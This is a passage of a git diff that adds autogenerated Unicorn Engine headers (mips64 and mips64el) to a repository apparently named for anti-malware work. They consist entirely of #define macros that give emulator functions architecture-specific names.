helper_lld_mips64 +#define helper_scd helper_scd_mips64 +#define helper_sdl helper_sdl_mips64 +#define helper_sdr helper_sdr_mips64 +#define helper_ldm helper_ldm_mips64 +#define helper_sdm helper_sdm_mips64 +#define helper_dmfc0_tcrestart helper_dmfc0_tcrestart_mips64 +#define helper_dmfc0_tchalt helper_dmfc0_tchalt_mips64 +#define helper_dmfc0_tccontext helper_dmfc0_tccontext_mips64 +#define helper_dmfc0_tcschedule helper_dmfc0_tcschedule_mips64 +#define helper_dmfc0_tcschefback helper_dmfc0_tcschefback_mips64 +#define helper_dmfc0_lladdr helper_dmfc0_lladdr_mips64 +#define helper_dmfc0_watchlo helper_dmfc0_watchlo_mips64 +#define helper_dmtc0_entrylo0 helper_dmtc0_entrylo0_mips64 +#define helper_dmtc0_entrylo1 helper_dmtc0_entrylo1_mips64 +#define mips_reg_reset mips_reg_reset_mips64 +#define mips_reg_read mips_reg_read_mips64 +#define mips_reg_write mips_reg_write_mips64 +#define mips_tcg_init mips_tcg_init_mips64 +#define mips_cpu_list mips_cpu_list_mips64 +#define mips_release mips_release_mips64 +#define MIPS64_REGS_STORAGE_SIZE MIPS64_REGS_STORAGE_SIZE_mips64 +#define MIPS_REGS_STORAGE_SIZE MIPS_REGS_STORAGE_SIZE_mips64 +#endif diff --git a/ai_anti_malware/unicorn/unicorn-master/qemu/mips64el.h b/ai_anti_malware/unicorn/unicorn-master/qemu/mips64el.h new file mode 100644 index 0000000..afe0d47 --- /dev/null +++ b/ai_anti_malware/unicorn/unicorn-master/qemu/mips64el.h @@ -0,0 +1,3928 @@ +/* Autogen header for Unicorn Engine - DONOT MODIFY */ +#ifndef UNICORN_AUTOGEN_MIPS64EL_H +#define UNICORN_AUTOGEN_MIPS64EL_H +#define arm_release arm_release_mips64el +#define aarch64_tb_set_jmp_target aarch64_tb_set_jmp_target_mips64el +#define ppc_tb_set_jmp_target ppc_tb_set_jmp_target_mips64el +#define use_idiv_instructions_rt use_idiv_instructions_rt_mips64el +#define tcg_target_deposit_valid tcg_target_deposit_valid_mips64el +#define helper_power_down helper_power_down_mips64el +#define check_exit_request check_exit_request_mips64el +#define address_space_unregister address_space_unregister_mips64el +#define tb_invalidate_phys_page_fast tb_invalidate_phys_page_fast_mips64el +#define phys_mem_clean phys_mem_clean_mips64el +#define tb_cleanup tb_cleanup_mips64el +#define memory_map memory_map_mips64el +#define memory_map_ptr memory_map_ptr_mips64el +#define memory_unmap memory_unmap_mips64el +#define memory_free memory_free_mips64el +#define free_code_gen_buffer free_code_gen_buffer_mips64el +#define helper_raise_exception helper_raise_exception_mips64el +#define tcg_enabled tcg_enabled_mips64el +#define tcg_exec_init tcg_exec_init_mips64el +#define memory_register_types memory_register_types_mips64el +#define cpu_exec_init_all cpu_exec_init_all_mips64el +#define vm_start vm_start_mips64el +#define resume_all_vcpus resume_all_vcpus_mips64el +#define a15_l2ctlr_read a15_l2ctlr_read_mips64el +#define a64_translate_init a64_translate_init_mips64el +#define aa32_generate_debug_exceptions aa32_generate_debug_exceptions_mips64el +#define aa64_cacheop_access aa64_cacheop_access_mips64el +#define aa64_daif_access aa64_daif_access_mips64el +#define aa64_daif_write aa64_daif_write_mips64el +#define aa64_dczid_read aa64_dczid_read_mips64el +#define aa64_fpcr_read aa64_fpcr_read_mips64el +#define aa64_fpcr_write aa64_fpcr_write_mips64el +#define aa64_fpsr_read aa64_fpsr_read_mips64el +#define aa64_fpsr_write aa64_fpsr_write_mips64el +#define aa64_generate_debug_exceptions aa64_generate_debug_exceptions_mips64el +#define aa64_zva_access aa64_zva_access_mips64el +#define aarch64_banked_spsr_index aarch64_banked_spsr_index_mips64el +#define aarch64_restore_sp aarch64_restore_sp_mips64el +#define aarch64_save_sp aarch64_save_sp_mips64el +#define accel_find accel_find_mips64el +#define accel_init_machine accel_init_machine_mips64el +#define accel_type accel_type_mips64el +#define access_with_adjusted_size access_with_adjusted_size_mips64el +#define add128 add128_mips64el +#define add16_sat add16_sat_mips64el +#define add16_usat add16_usat_mips64el +#define add192 add192_mips64el +#define add8_sat add8_sat_mips64el +#define add8_usat add8_usat_mips64el +#define add_cpreg_to_hashtable add_cpreg_to_hashtable_mips64el +#define add_cpreg_to_list add_cpreg_to_list_mips64el +#define addFloat128Sigs addFloat128Sigs_mips64el +#define addFloat32Sigs addFloat32Sigs_mips64el +#define addFloat64Sigs addFloat64Sigs_mips64el +#define addFloatx80Sigs addFloatx80Sigs_mips64el +#define add_qemu_ldst_label add_qemu_ldst_label_mips64el +#define address_space_access_valid address_space_access_valid_mips64el +#define address_space_destroy address_space_destroy_mips64el +#define address_space_destroy_dispatch address_space_destroy_dispatch_mips64el +#define address_space_get_flatview address_space_get_flatview_mips64el +#define address_space_init address_space_init_mips64el +#define address_space_init_dispatch address_space_init_dispatch_mips64el +#define address_space_lookup_region address_space_lookup_region_mips64el +#define address_space_map address_space_map_mips64el +#define address_space_read address_space_read_mips64el +#define address_space_rw address_space_rw_mips64el +#define address_space_translate address_space_translate_mips64el +#define address_space_translate_for_iotlb address_space_translate_for_iotlb_mips64el +#define address_space_translate_internal address_space_translate_internal_mips64el +#define address_space_unmap address_space_unmap_mips64el +#define address_space_update_topology address_space_update_topology_mips64el +#define address_space_update_topology_pass address_space_update_topology_pass_mips64el +#define address_space_write address_space_write_mips64el +#define addrrange_contains addrrange_contains_mips64el +#define addrrange_end addrrange_end_mips64el +#define addrrange_equal addrrange_equal_mips64el +#define addrrange_intersection addrrange_intersection_mips64el +#define addrrange_intersects addrrange_intersects_mips64el +#define addrrange_make addrrange_make_mips64el +#define adjust_endianness adjust_endianness_mips64el +#define all_helpers all_helpers_mips64el +#define alloc_code_gen_buffer alloc_code_gen_buffer_mips64el +#define alloc_entry alloc_entry_mips64el +#define always_true always_true_mips64el +#define arm1026_initfn arm1026_initfn_mips64el +#define arm1136_initfn arm1136_initfn_mips64el +#define arm1136_r2_initfn arm1136_r2_initfn_mips64el +#define arm1176_initfn arm1176_initfn_mips64el +#define arm11mpcore_initfn arm11mpcore_initfn_mips64el +#define arm926_initfn arm926_initfn_mips64el +#define arm946_initfn arm946_initfn_mips64el +#define arm_ccnt_enabled arm_ccnt_enabled_mips64el +#define arm_cp_read_zero arm_cp_read_zero_mips64el +#define arm_cp_reset_ignore arm_cp_reset_ignore_mips64el +#define arm_cpu_do_interrupt arm_cpu_do_interrupt_mips64el +#define arm_cpu_exec_interrupt arm_cpu_exec_interrupt_mips64el +#define arm_cpu_finalizefn arm_cpu_finalizefn_mips64el +#define arm_cpu_get_phys_page_debug arm_cpu_get_phys_page_debug_mips64el +#define arm_cpu_handle_mmu_fault arm_cpu_handle_mmu_fault_mips64el +#define arm_cpu_initfn arm_cpu_initfn_mips64el +#define arm_cpu_list arm_cpu_list_mips64el +#define cpu_loop_exit cpu_loop_exit_mips64el +#define arm_cpu_post_init arm_cpu_post_init_mips64el +#define arm_cpu_realizefn arm_cpu_realizefn_mips64el +#define arm_cpu_register_gdb_regs_for_features arm_cpu_register_gdb_regs_for_features_mips64el +#define arm_cpu_register_types arm_cpu_register_types_mips64el +#define cpu_resume_from_signal cpu_resume_from_signal_mips64el +#define arm_cpus arm_cpus_mips64el +#define arm_cpu_set_pc arm_cpu_set_pc_mips64el +#define arm_cp_write_ignore arm_cp_write_ignore_mips64el +#define arm_current_el arm_current_el_mips64el +#define arm_dc_feature arm_dc_feature_mips64el +#define arm_debug_excp_handler arm_debug_excp_handler_mips64el +#define arm_debug_target_el arm_debug_target_el_mips64el +#define arm_el_is_aa64 arm_el_is_aa64_mips64el +#define arm_env_get_cpu arm_env_get_cpu_mips64el +#define arm_excp_target_el arm_excp_target_el_mips64el +#define arm_excp_unmasked arm_excp_unmasked_mips64el +#define arm_feature arm_feature_mips64el +#define arm_generate_debug_exceptions arm_generate_debug_exceptions_mips64el +#define gen_intermediate_code gen_intermediate_code_mips64el +#define gen_intermediate_code_pc gen_intermediate_code_pc_mips64el +#define arm_gen_test_cc arm_gen_test_cc_mips64el +#define arm_gt_ptimer_cb arm_gt_ptimer_cb_mips64el +#define arm_gt_vtimer_cb arm_gt_vtimer_cb_mips64el +#define arm_handle_psci_call arm_handle_psci_call_mips64el +#define arm_is_psci_call arm_is_psci_call_mips64el +#define arm_is_secure arm_is_secure_mips64el +#define arm_is_secure_below_el3 arm_is_secure_below_el3_mips64el +#define arm_ldl_code arm_ldl_code_mips64el +#define arm_lduw_code arm_lduw_code_mips64el +#define arm_log_exception arm_log_exception_mips64el +#define arm_reg_read arm_reg_read_mips64el +#define arm_reg_reset arm_reg_reset_mips64el +#define arm_reg_write arm_reg_write_mips64el +#define restore_state_to_opc restore_state_to_opc_mips64el +#define arm_rmode_to_sf arm_rmode_to_sf_mips64el +#define arm_singlestep_active arm_singlestep_active_mips64el +#define tlb_fill tlb_fill_mips64el +#define tlb_flush tlb_flush_mips64el +#define tlb_flush_page tlb_flush_page_mips64el +#define tlb_set_page tlb_set_page_mips64el +#define arm_translate_init arm_translate_init_mips64el +#define arm_v7m_class_init arm_v7m_class_init_mips64el +#define arm_v7m_cpu_do_interrupt arm_v7m_cpu_do_interrupt_mips64el +#define ats_access ats_access_mips64el +#define ats_write ats_write_mips64el +#define bad_mode_switch bad_mode_switch_mips64el +#define bank_number bank_number_mips64el +#define bitmap_zero_extend bitmap_zero_extend_mips64el +#define bp_wp_matches bp_wp_matches_mips64el +#define breakpoint_invalidate breakpoint_invalidate_mips64el +#define build_page_bitmap build_page_bitmap_mips64el +#define bus_add_child bus_add_child_mips64el +#define bus_class_init bus_class_init_mips64el +#define bus_info bus_info_mips64el +#define bus_unparent bus_unparent_mips64el +#define cache_block_ops_cp_reginfo cache_block_ops_cp_reginfo_mips64el +#define cache_dirty_status_cp_reginfo cache_dirty_status_cp_reginfo_mips64el +#define cache_test_clean_cp_reginfo cache_test_clean_cp_reginfo_mips64el +#define call_recip_estimate call_recip_estimate_mips64el +#define can_merge can_merge_mips64el +#define capacity_increase capacity_increase_mips64el +#define ccsidr_read ccsidr_read_mips64el +#define check_ap check_ap_mips64el +#define check_breakpoints check_breakpoints_mips64el +#define check_watchpoints check_watchpoints_mips64el +#define cho cho_mips64el +#define clear_bit clear_bit_mips64el +#define clz32 clz32_mips64el +#define clz64 clz64_mips64el +#define cmp_flatrange_addr cmp_flatrange_addr_mips64el +#define code_gen_alloc code_gen_alloc_mips64el +#define commonNaNToFloat128 commonNaNToFloat128_mips64el +#define commonNaNToFloat16 commonNaNToFloat16_mips64el +#define commonNaNToFloat32 commonNaNToFloat32_mips64el +#define commonNaNToFloat64 commonNaNToFloat64_mips64el +#define commonNaNToFloatx80 commonNaNToFloatx80_mips64el +#define compute_abs_deadline compute_abs_deadline_mips64el +#define cond_name cond_name_mips64el +#define configure_accelerator configure_accelerator_mips64el +#define container_get container_get_mips64el +#define container_info container_info_mips64el +#define container_register_types container_register_types_mips64el +#define contextidr_write contextidr_write_mips64el +#define core_log_global_start core_log_global_start_mips64el +#define core_log_global_stop core_log_global_stop_mips64el +#define core_memory_listener core_memory_listener_mips64el +#define cortexa15_cp_reginfo cortexa15_cp_reginfo_mips64el +#define cortex_a15_initfn cortex_a15_initfn_mips64el +#define cortexa8_cp_reginfo cortexa8_cp_reginfo_mips64el +#define cortex_a8_initfn cortex_a8_initfn_mips64el +#define cortexa9_cp_reginfo cortexa9_cp_reginfo_mips64el +#define cortex_a9_initfn cortex_a9_initfn_mips64el +#define cortex_m3_initfn cortex_m3_initfn_mips64el +#define count_cpreg count_cpreg_mips64el +#define countLeadingZeros32 countLeadingZeros32_mips64el +#define countLeadingZeros64 countLeadingZeros64_mips64el +#define cp_access_ok cp_access_ok_mips64el +#define cpacr_write cpacr_write_mips64el +#define cpreg_field_is_64bit cpreg_field_is_64bit_mips64el +#define cp_reginfo cp_reginfo_mips64el +#define cpreg_key_compare cpreg_key_compare_mips64el +#define cpreg_make_keylist cpreg_make_keylist_mips64el +#define cp_reg_reset cp_reg_reset_mips64el +#define cpreg_to_kvm_id cpreg_to_kvm_id_mips64el +#define cpsr_read cpsr_read_mips64el +#define cpsr_write cpsr_write_mips64el +#define cptype_valid cptype_valid_mips64el +#define cpu_abort cpu_abort_mips64el +#define cpu_arm_exec cpu_arm_exec_mips64el +#define cpu_arm_gen_code cpu_arm_gen_code_mips64el +#define cpu_arm_init cpu_arm_init_mips64el +#define cpu_breakpoint_insert cpu_breakpoint_insert_mips64el +#define cpu_breakpoint_remove cpu_breakpoint_remove_mips64el +#define cpu_breakpoint_remove_all cpu_breakpoint_remove_all_mips64el +#define cpu_breakpoint_remove_by_ref cpu_breakpoint_remove_by_ref_mips64el +#define cpu_can_do_io cpu_can_do_io_mips64el +#define cpu_can_run cpu_can_run_mips64el +#define cpu_class_init cpu_class_init_mips64el +#define cpu_common_class_by_name cpu_common_class_by_name_mips64el +#define cpu_common_exec_interrupt cpu_common_exec_interrupt_mips64el +#define cpu_common_get_arch_id cpu_common_get_arch_id_mips64el +#define cpu_common_get_memory_mapping cpu_common_get_memory_mapping_mips64el +#define cpu_common_get_paging_enabled cpu_common_get_paging_enabled_mips64el +#define cpu_common_has_work cpu_common_has_work_mips64el +#define cpu_common_initfn cpu_common_initfn_mips64el +#define cpu_common_noop cpu_common_noop_mips64el +#define cpu_common_parse_features cpu_common_parse_features_mips64el +#define cpu_common_realizefn cpu_common_realizefn_mips64el +#define cpu_common_reset cpu_common_reset_mips64el +#define cpu_dump_statistics cpu_dump_statistics_mips64el +#define cpu_exec_init cpu_exec_init_mips64el +#define cpu_flush_icache_range cpu_flush_icache_range_mips64el +#define cpu_gen_init cpu_gen_init_mips64el +#define cpu_get_clock cpu_get_clock_mips64el +#define cpu_get_real_ticks cpu_get_real_ticks_mips64el +#define cpu_get_tb_cpu_state cpu_get_tb_cpu_state_mips64el +#define cpu_handle_debug_exception cpu_handle_debug_exception_mips64el +#define cpu_handle_guest_debug cpu_handle_guest_debug_mips64el +#define cpu_inb cpu_inb_mips64el +#define cpu_inl cpu_inl_mips64el +#define cpu_interrupt cpu_interrupt_mips64el +#define cpu_interrupt_handler cpu_interrupt_handler_mips64el +#define cpu_inw cpu_inw_mips64el +#define cpu_io_recompile cpu_io_recompile_mips64el +#define cpu_is_stopped cpu_is_stopped_mips64el +#define cpu_ldl_code cpu_ldl_code_mips64el +#define cpu_ldub_code cpu_ldub_code_mips64el +#define cpu_lduw_code cpu_lduw_code_mips64el +#define cpu_memory_rw_debug cpu_memory_rw_debug_mips64el +#define cpu_mmu_index cpu_mmu_index_mips64el +#define cpu_outb cpu_outb_mips64el +#define cpu_outl cpu_outl_mips64el +#define cpu_outw cpu_outw_mips64el +#define cpu_physical_memory_clear_dirty_range cpu_physical_memory_clear_dirty_range_mips64el +#define cpu_physical_memory_get_clean cpu_physical_memory_get_clean_mips64el +#define cpu_physical_memory_get_dirty cpu_physical_memory_get_dirty_mips64el +#define cpu_physical_memory_get_dirty_flag cpu_physical_memory_get_dirty_flag_mips64el +#define cpu_physical_memory_is_clean cpu_physical_memory_is_clean_mips64el +#define cpu_physical_memory_is_io cpu_physical_memory_is_io_mips64el +#define cpu_physical_memory_map cpu_physical_memory_map_mips64el +#define cpu_physical_memory_range_includes_clean cpu_physical_memory_range_includes_clean_mips64el +#define cpu_physical_memory_reset_dirty cpu_physical_memory_reset_dirty_mips64el +#define cpu_physical_memory_rw cpu_physical_memory_rw_mips64el +#define cpu_physical_memory_set_dirty_flag cpu_physical_memory_set_dirty_flag_mips64el +#define cpu_physical_memory_set_dirty_range cpu_physical_memory_set_dirty_range_mips64el +#define cpu_physical_memory_unmap cpu_physical_memory_unmap_mips64el +#define cpu_physical_memory_write_rom cpu_physical_memory_write_rom_mips64el +#define cpu_physical_memory_write_rom_internal cpu_physical_memory_write_rom_internal_mips64el +#define cpu_register cpu_register_mips64el +#define cpu_register_types cpu_register_types_mips64el +#define cpu_restore_state cpu_restore_state_mips64el +#define cpu_restore_state_from_tb cpu_restore_state_from_tb_mips64el +#define cpu_single_step cpu_single_step_mips64el +#define cpu_tb_exec cpu_tb_exec_mips64el +#define cpu_tlb_reset_dirty_all cpu_tlb_reset_dirty_all_mips64el +#define cpu_to_be64 cpu_to_be64_mips64el +#define cpu_to_le32 cpu_to_le32_mips64el +#define cpu_to_le64 cpu_to_le64_mips64el +#define cpu_type_info cpu_type_info_mips64el +#define cpu_unassigned_access cpu_unassigned_access_mips64el +#define cpu_watchpoint_address_matches cpu_watchpoint_address_matches_mips64el +#define cpu_watchpoint_insert cpu_watchpoint_insert_mips64el +#define cpu_watchpoint_remove cpu_watchpoint_remove_mips64el +#define cpu_watchpoint_remove_all cpu_watchpoint_remove_all_mips64el +#define cpu_watchpoint_remove_by_ref cpu_watchpoint_remove_by_ref_mips64el +#define crc32c_table crc32c_table_mips64el +#define create_new_memory_mapping create_new_memory_mapping_mips64el +#define csselr_write csselr_write_mips64el +#define cto32 cto32_mips64el +#define ctr_el0_access ctr_el0_access_mips64el +#define ctz32 ctz32_mips64el +#define ctz64 ctz64_mips64el +#define dacr_write dacr_write_mips64el +#define dbgbcr_write dbgbcr_write_mips64el +#define dbgbvr_write dbgbvr_write_mips64el +#define dbgwcr_write dbgwcr_write_mips64el +#define dbgwvr_write dbgwvr_write_mips64el +#define debug_cp_reginfo debug_cp_reginfo_mips64el +#define debug_frame debug_frame_mips64el +#define debug_lpae_cp_reginfo debug_lpae_cp_reginfo_mips64el +#define define_arm_cp_regs define_arm_cp_regs_mips64el +#define define_arm_cp_regs_with_opaque define_arm_cp_regs_with_opaque_mips64el +#define define_debug_regs define_debug_regs_mips64el +#define define_one_arm_cp_reg define_one_arm_cp_reg_mips64el +#define define_one_arm_cp_reg_with_opaque define_one_arm_cp_reg_with_opaque_mips64el +#define deposit32 deposit32_mips64el +#define deposit64 deposit64_mips64el +#define deregister_tm_clones deregister_tm_clones_mips64el +#define device_class_base_init device_class_base_init_mips64el +#define device_class_init device_class_init_mips64el +#define device_finalize device_finalize_mips64el +#define device_get_realized device_get_realized_mips64el +#define device_initfn device_initfn_mips64el +#define device_post_init device_post_init_mips64el +#define device_reset device_reset_mips64el +#define device_set_realized device_set_realized_mips64el +#define device_type_info device_type_info_mips64el +#define disas_arm_insn disas_arm_insn_mips64el +#define disas_coproc_insn disas_coproc_insn_mips64el +#define disas_dsp_insn disas_dsp_insn_mips64el +#define disas_iwmmxt_insn disas_iwmmxt_insn_mips64el +#define disas_neon_data_insn disas_neon_data_insn_mips64el +#define disas_neon_ls_insn disas_neon_ls_insn_mips64el +#define disas_thumb2_insn disas_thumb2_insn_mips64el +#define disas_thumb_insn disas_thumb_insn_mips64el +#define disas_vfp_insn disas_vfp_insn_mips64el +#define disas_vfp_v8_insn disas_vfp_v8_insn_mips64el +#define do_arm_semihosting do_arm_semihosting_mips64el +#define do_clz16 do_clz16_mips64el +#define do_clz8 do_clz8_mips64el +#define do_constant_folding do_constant_folding_mips64el +#define do_constant_folding_2 do_constant_folding_2_mips64el +#define do_constant_folding_cond do_constant_folding_cond_mips64el +#define do_constant_folding_cond2 do_constant_folding_cond2_mips64el +#define do_constant_folding_cond_32 do_constant_folding_cond_32_mips64el +#define do_constant_folding_cond_64 do_constant_folding_cond_64_mips64el +#define do_constant_folding_cond_eq do_constant_folding_cond_eq_mips64el +#define do_fcvt_f16_to_f32 do_fcvt_f16_to_f32_mips64el +#define do_fcvt_f32_to_f16 do_fcvt_f32_to_f16_mips64el +#define do_ssat do_ssat_mips64el +#define do_usad do_usad_mips64el +#define do_usat do_usat_mips64el +#define do_v7m_exception_exit do_v7m_exception_exit_mips64el +#define dummy_c15_cp_reginfo dummy_c15_cp_reginfo_mips64el +#define dummy_func dummy_func_mips64el +#define dummy_section dummy_section_mips64el +#define _DYNAMIC _DYNAMIC_mips64el +#define _edata _edata_mips64el +#define _end _end_mips64el +#define end_list end_list_mips64el +#define eq128 eq128_mips64el +#define ErrorClass_lookup ErrorClass_lookup_mips64el +#define error_copy error_copy_mips64el +#define error_exit error_exit_mips64el +#define error_get_class error_get_class_mips64el +#define error_get_pretty error_get_pretty_mips64el +#define error_setg_file_open error_setg_file_open_mips64el +#define estimateDiv128To64 estimateDiv128To64_mips64el +#define estimateSqrt32 estimateSqrt32_mips64el +#define excnames excnames_mips64el +#define excp_is_internal excp_is_internal_mips64el +#define extended_addresses_enabled extended_addresses_enabled_mips64el +#define extended_mpu_ap_bits extended_mpu_ap_bits_mips64el +#define extract32 extract32_mips64el +#define extract64 extract64_mips64el +#define extractFloat128Exp extractFloat128Exp_mips64el +#define extractFloat128Frac0 extractFloat128Frac0_mips64el +#define extractFloat128Frac1 extractFloat128Frac1_mips64el +#define extractFloat128Sign extractFloat128Sign_mips64el +#define extractFloat16Exp extractFloat16Exp_mips64el +#define extractFloat16Frac extractFloat16Frac_mips64el +#define extractFloat16Sign extractFloat16Sign_mips64el +#define extractFloat32Exp extractFloat32Exp_mips64el +#define extractFloat32Frac extractFloat32Frac_mips64el +#define extractFloat32Sign extractFloat32Sign_mips64el +#define extractFloat64Exp extractFloat64Exp_mips64el +#define extractFloat64Frac extractFloat64Frac_mips64el +#define extractFloat64Sign extractFloat64Sign_mips64el +#define extractFloatx80Exp extractFloatx80Exp_mips64el +#define extractFloatx80Frac extractFloatx80Frac_mips64el +#define extractFloatx80Sign extractFloatx80Sign_mips64el +#define fcse_write fcse_write_mips64el +#define find_better_copy find_better_copy_mips64el +#define find_default_machine find_default_machine_mips64el +#define find_desc_by_name find_desc_by_name_mips64el +#define find_first_bit find_first_bit_mips64el +#define find_paging_enabled_cpu find_paging_enabled_cpu_mips64el +#define find_ram_block find_ram_block_mips64el +#define find_ram_offset find_ram_offset_mips64el +#define find_string find_string_mips64el +#define find_type find_type_mips64el +#define _fini _fini_mips64el +#define flatrange_equal flatrange_equal_mips64el +#define flatview_destroy flatview_destroy_mips64el +#define flatview_init flatview_init_mips64el +#define flatview_insert flatview_insert_mips64el +#define flatview_lookup flatview_lookup_mips64el +#define flatview_ref flatview_ref_mips64el +#define flatview_simplify flatview_simplify_mips64el +#define flatview_unref flatview_unref_mips64el +#define float128_add float128_add_mips64el +#define float128_compare float128_compare_mips64el +#define float128_compare_internal float128_compare_internal_mips64el +#define float128_compare_quiet float128_compare_quiet_mips64el +#define float128_default_nan float128_default_nan_mips64el +#define float128_div float128_div_mips64el +#define float128_eq float128_eq_mips64el +#define float128_eq_quiet float128_eq_quiet_mips64el +#define float128_is_quiet_nan float128_is_quiet_nan_mips64el +#define float128_is_signaling_nan float128_is_signaling_nan_mips64el +#define float128_le float128_le_mips64el +#define float128_le_quiet float128_le_quiet_mips64el +#define float128_lt float128_lt_mips64el +#define float128_lt_quiet float128_lt_quiet_mips64el +#define float128_maybe_silence_nan float128_maybe_silence_nan_mips64el +#define float128_mul float128_mul_mips64el +#define float128_rem float128_rem_mips64el +#define float128_round_to_int float128_round_to_int_mips64el +#define float128_scalbn float128_scalbn_mips64el +#define float128_sqrt float128_sqrt_mips64el +#define float128_sub float128_sub_mips64el +#define float128ToCommonNaN float128ToCommonNaN_mips64el +#define float128_to_float32 float128_to_float32_mips64el +#define float128_to_float64 float128_to_float64_mips64el +#define float128_to_floatx80 float128_to_floatx80_mips64el +#define float128_to_int32 float128_to_int32_mips64el +#define float128_to_int32_round_to_zero float128_to_int32_round_to_zero_mips64el +#define float128_to_int64 float128_to_int64_mips64el +#define float128_to_int64_round_to_zero float128_to_int64_round_to_zero_mips64el +#define float128_unordered float128_unordered_mips64el +#define float128_unordered_quiet float128_unordered_quiet_mips64el +#define float16_default_nan float16_default_nan_mips64el +#define float16_is_quiet_nan float16_is_quiet_nan_mips64el +#define float16_is_signaling_nan float16_is_signaling_nan_mips64el +#define float16_maybe_silence_nan float16_maybe_silence_nan_mips64el +#define float16ToCommonNaN float16ToCommonNaN_mips64el +#define float16_to_float32 float16_to_float32_mips64el +#define float16_to_float64 float16_to_float64_mips64el +#define float32_abs float32_abs_mips64el +#define float32_add float32_add_mips64el +#define float32_chs float32_chs_mips64el +#define float32_compare float32_compare_mips64el +#define float32_compare_internal float32_compare_internal_mips64el +#define float32_compare_quiet float32_compare_quiet_mips64el +#define float32_default_nan float32_default_nan_mips64el +#define float32_div float32_div_mips64el +#define float32_eq float32_eq_mips64el +#define float32_eq_quiet float32_eq_quiet_mips64el +#define float32_exp2 float32_exp2_mips64el +#define float32_exp2_coefficients float32_exp2_coefficients_mips64el +#define float32_is_any_nan float32_is_any_nan_mips64el +#define float32_is_infinity float32_is_infinity_mips64el +#define float32_is_neg float32_is_neg_mips64el +#define float32_is_quiet_nan float32_is_quiet_nan_mips64el +#define float32_is_signaling_nan float32_is_signaling_nan_mips64el +#define float32_is_zero float32_is_zero_mips64el +#define float32_is_zero_or_denormal float32_is_zero_or_denormal_mips64el +#define float32_le float32_le_mips64el +#define float32_le_quiet float32_le_quiet_mips64el +#define float32_log2 float32_log2_mips64el +#define float32_lt float32_lt_mips64el +#define float32_lt_quiet float32_lt_quiet_mips64el +#define float32_max float32_max_mips64el +#define float32_maxnum float32_maxnum_mips64el +#define float32_maxnummag float32_maxnummag_mips64el +#define float32_maybe_silence_nan float32_maybe_silence_nan_mips64el +#define float32_min float32_min_mips64el +#define float32_minmax float32_minmax_mips64el +#define float32_minnum float32_minnum_mips64el +#define float32_minnummag float32_minnummag_mips64el +#define float32_mul float32_mul_mips64el +#define float32_muladd float32_muladd_mips64el +#define float32_rem float32_rem_mips64el +#define float32_round_to_int float32_round_to_int_mips64el +#define float32_scalbn float32_scalbn_mips64el +#define float32_set_sign float32_set_sign_mips64el +#define float32_sqrt float32_sqrt_mips64el +#define float32_squash_input_denormal float32_squash_input_denormal_mips64el +#define float32_sub float32_sub_mips64el +#define float32ToCommonNaN float32ToCommonNaN_mips64el +#define float32_to_float128 float32_to_float128_mips64el +#define float32_to_float16 float32_to_float16_mips64el +#define float32_to_float64 float32_to_float64_mips64el +#define float32_to_floatx80 float32_to_floatx80_mips64el +#define float32_to_int16 float32_to_int16_mips64el +#define float32_to_int16_round_to_zero float32_to_int16_round_to_zero_mips64el +#define float32_to_int32 float32_to_int32_mips64el +#define float32_to_int32_round_to_zero float32_to_int32_round_to_zero_mips64el +#define float32_to_int64 float32_to_int64_mips64el +#define float32_to_int64_round_to_zero float32_to_int64_round_to_zero_mips64el +#define float32_to_uint16 float32_to_uint16_mips64el +#define float32_to_uint16_round_to_zero float32_to_uint16_round_to_zero_mips64el +#define float32_to_uint32 float32_to_uint32_mips64el +#define float32_to_uint32_round_to_zero float32_to_uint32_round_to_zero_mips64el +#define float32_to_uint64 float32_to_uint64_mips64el +#define float32_to_uint64_round_to_zero float32_to_uint64_round_to_zero_mips64el +#define float32_unordered float32_unordered_mips64el +#define float32_unordered_quiet float32_unordered_quiet_mips64el +#define float64_abs float64_abs_mips64el +#define float64_add float64_add_mips64el +#define float64_chs float64_chs_mips64el +#define float64_compare float64_compare_mips64el +#define float64_compare_internal float64_compare_internal_mips64el +#define float64_compare_quiet float64_compare_quiet_mips64el +#define float64_default_nan float64_default_nan_mips64el +#define float64_div float64_div_mips64el +#define float64_eq float64_eq_mips64el +#define float64_eq_quiet float64_eq_quiet_mips64el +#define float64_is_any_nan float64_is_any_nan_mips64el +#define float64_is_infinity float64_is_infinity_mips64el +#define float64_is_neg float64_is_neg_mips64el +#define float64_is_quiet_nan float64_is_quiet_nan_mips64el +#define float64_is_signaling_nan float64_is_signaling_nan_mips64el +#define float64_is_zero float64_is_zero_mips64el +#define float64_le float64_le_mips64el +#define float64_le_quiet float64_le_quiet_mips64el +#define float64_log2 float64_log2_mips64el +#define float64_lt float64_lt_mips64el +#define float64_lt_quiet float64_lt_quiet_mips64el +#define float64_max float64_max_mips64el +#define float64_maxnum float64_maxnum_mips64el +#define float64_maxnummag float64_maxnummag_mips64el +#define float64_maybe_silence_nan float64_maybe_silence_nan_mips64el +#define float64_min float64_min_mips64el +#define float64_minmax float64_minmax_mips64el +#define float64_minnum float64_minnum_mips64el +#define float64_minnummag float64_minnummag_mips64el +#define float64_mul float64_mul_mips64el +#define float64_muladd float64_muladd_mips64el +#define float64_rem float64_rem_mips64el +#define float64_round_to_int float64_round_to_int_mips64el +#define float64_scalbn float64_scalbn_mips64el +#define float64_set_sign float64_set_sign_mips64el +#define float64_sqrt float64_sqrt_mips64el +#define float64_squash_input_denormal float64_squash_input_denormal_mips64el +#define float64_sub float64_sub_mips64el +#define float64ToCommonNaN float64ToCommonNaN_mips64el +#define float64_to_float128 float64_to_float128_mips64el +#define float64_to_float16 float64_to_float16_mips64el +#define float64_to_float32 float64_to_float32_mips64el +#define float64_to_floatx80 float64_to_floatx80_mips64el +#define float64_to_int16 float64_to_int16_mips64el +#define float64_to_int16_round_to_zero float64_to_int16_round_to_zero_mips64el +#define float64_to_int32 float64_to_int32_mips64el +#define float64_to_int32_round_to_zero float64_to_int32_round_to_zero_mips64el +#define float64_to_int64 float64_to_int64_mips64el +#define float64_to_int64_round_to_zero float64_to_int64_round_to_zero_mips64el +#define float64_to_uint16 float64_to_uint16_mips64el +#define float64_to_uint16_round_to_zero float64_to_uint16_round_to_zero_mips64el +#define float64_to_uint32 float64_to_uint32_mips64el +#define float64_to_uint32_round_to_zero float64_to_uint32_round_to_zero_mips64el +#define float64_to_uint64 float64_to_uint64_mips64el +#define float64_to_uint64_round_to_zero float64_to_uint64_round_to_zero_mips64el +#define float64_trunc_to_int float64_trunc_to_int_mips64el +#define float64_unordered float64_unordered_mips64el +#define float64_unordered_quiet float64_unordered_quiet_mips64el +#define float_raise float_raise_mips64el +#define floatx80_add floatx80_add_mips64el +#define floatx80_compare floatx80_compare_mips64el +#define floatx80_compare_internal 